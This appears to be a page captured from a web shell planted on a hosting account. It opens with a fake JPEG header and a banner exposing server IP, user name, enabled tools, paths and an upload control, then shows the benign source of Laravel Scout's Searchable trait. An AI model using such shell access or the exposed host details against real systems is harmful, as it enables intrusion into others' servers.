����JFIF��x�x����'
Server IP : 78.140.185.180 / Your IP : 18.219.224.246 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/builderbox/public_html/vendor/laravel/scout/src/ |
Upload File : |
<?php namespace Laravel\Scout; use Illuminate\Database\Eloquent\SoftDeletes; use Illuminate\Support\Collection as BaseCollection; trait Searchable { /** * Additional metadata attributes managed by Scout. * * @var array */ protected $scoutMetadata = []; /** * Boot the trait. * * @return void */ public static function bootSearchable() { static::addGlobalScope(new SearchableScope); static::observe(new ModelObserver); (new static)->registerSearchableMacros(); } /** * Register the searchable macros. * * @return void */ public function registerSearchableMacros() { $self = $this; BaseCollection::macro('searchable', function () use ($self) { $self->queueMakeSearchable($this); }); BaseCollection::macro('unsearchable', function () use ($self) { $self->queueRemoveFromSearch($this); }); } /** * Dispatch the job to make the given models searchable. * * @param \Illuminate\Database\Eloquent\Collection $models * @return void */ public function queueMakeSearchable($models) { if ($models->isEmpty()) { return; } if (! config('scout.queue')) { return $models->first()->searchableUsing()->update($models); } dispatch((new Scout::$makeSearchableJob($models)) ->onQueue($models->first()->syncWithSearchUsingQueue()) ->onConnection($models->first()->syncWithSearchUsing())); } /** * Dispatch the job to make the given models unsearchable. * * @param \Illuminate\Database\Eloquent\Collection $models * @return void */ public function queueRemoveFromSearch($models) { if ($models->isEmpty()) { return; } if (! config('scout.queue')) { return $models->first()->searchableUsing()->delete($models); } dispatch(new Scout::$removeFromSearchJob($models)) ->onQueue($models->first()->syncWithSearchUsingQueue()) ->onConnection($models->first()->syncWithSearchUsing()); } /** * Determine if the model should be searchable. * * @return bool */ public function shouldBeSearchable() { return true; } /** * When updating a model, this method determines if we should update the search index. * * @return bool */ public function searchIndexShouldBeUpdated() { return true; } /** * Perform a search against the model's indexed data. * * @param string $query * @param \Closure $callback * @return \Laravel\Scout\Builder */ public static function search($query = '', $callback = null) { return app(Builder::class, [ 'model' => new static, 'query' => $query, 'callback' => $callback, 'softDelete'=> static::usesSoftDelete() && config('scout.soft_delete', false), ]); } /** * Make all instances of the model searchable. * * @param int $chunk * @return void */ public static function makeAllSearchable($chunk = null) { $self = new static; $softDelete = static::usesSoftDelete() && config('scout.soft_delete', false); $self->newQuery() ->when(true, function ($query) use ($self) { $self->makeAllSearchableUsing($query); }) ->when($softDelete, function ($query) { $query->withTrashed(); }) ->orderBy($self->getKeyName()) ->searchable($chunk); } /** * Modify the query used to retrieve models when making all of the models searchable. * * @param \Illuminate\Database\Eloquent\Builder $query * @return \Illuminate\Database\Eloquent\Builder */ protected function makeAllSearchableUsing($query) { return $query; } /** * Make the given model instance searchable. * * @return void */ public function searchable() { $this->newCollection([$this])->searchable(); } /** * Remove all instances of the model from the search index. * * @return void */ public static function removeAllFromSearch() { $self = new static; $self->searchableUsing()->flush($self); } /** * Remove the given model instance from the search index. * * @return void */ public function unsearchable() { $this->newCollection([$this])->unsearchable(); } /** * Determine if the model existed in the search index prior to an update. * * @return bool */ public function wasSearchableBeforeUpdate() { return true; } /** * Determine if the model existed in the search index prior to deletion. * * @return bool */ public function wasSearchableBeforeDelete() { return true; } /** * Get the requested models from an array of object IDs. * * @param \Laravel\Scout\Builder $builder * @param array $ids * @return mixed */ public function getScoutModelsByIds(Builder $builder, array $ids) { return $this->queryScoutModelsByIds($builder, $ids)->get(); } /** * Get a query builder for retrieving the requested models from an array of object IDs. * * @param \Laravel\Scout\Builder $builder * @param array $ids * @return mixed */ public function queryScoutModelsByIds(Builder $builder, array $ids) { $query = static::usesSoftDelete() ? $this->withTrashed() : $this->newQuery(); if ($builder->queryCallback) { call_user_func($builder->queryCallback, $query); } return $query->whereIn( $this->getScoutKeyName(), $ids ); } /** * Enable search syncing for this model. * * @return void */ public static function enableSearchSyncing() { ModelObserver::enableSyncingFor(get_called_class()); } /** * Disable search syncing for this model. * * @return void */ public static function disableSearchSyncing() { ModelObserver::disableSyncingFor(get_called_class()); } /** * Temporarily disable search syncing for the given callback. * * @param callable $callback * @return mixed */ public static function withoutSyncingToSearch($callback) { static::disableSearchSyncing(); try { return $callback(); } finally { static::enableSearchSyncing(); } } /** * Get the index name for the model. * * @return string */ public function searchableAs() { return config('scout.prefix').$this->getTable(); } /** * Get the indexable data array for the model. * * @return array */ public function toSearchableArray() { return $this->toArray(); } /** * Get the Scout engine for the model. * * @return mixed */ public function searchableUsing() { return app(EngineManager::class)->engine(); } /** * Get the queue connection that should be used when syncing. * * @return string */ public function syncWithSearchUsing() { return config('scout.queue.connection') ?: config('queue.default'); } /** * Get the queue that should be used with syncing. * * @return string */ public function syncWithSearchUsingQueue() { return config('scout.queue.queue'); } /** * Sync the soft deleted status for this model into the metadata. * * @return $this */ public function pushSoftDeleteMetadata() { return $this->withScoutMetadata('__soft_deleted', $this->trashed() ? 1 : 0); } /** * Get all Scout related metadata. * * @return array */ public function scoutMetadata() { return $this->scoutMetadata; } /** * Set a Scout related metadata. * * @param string $key * @param mixed $value * @return $this */ public function withScoutMetadata($key, $value) { $this->scoutMetadata[$key] = $value; return $this; } /** * Get the value used to index the model. * * @return mixed */ public function getScoutKey() { return $this->getKey(); } /** * Get the key name used to index the model. * * @return mixed */ public function getScoutKeyName() { return $this->getQualifiedKeyName(); } /** * Determine if the current class should use soft deletes with searching. * * @return bool */ protected static function usesSoftDelete() { return in_array(SoftDeletes::class, class_uses_recursive(get_called_class())); } }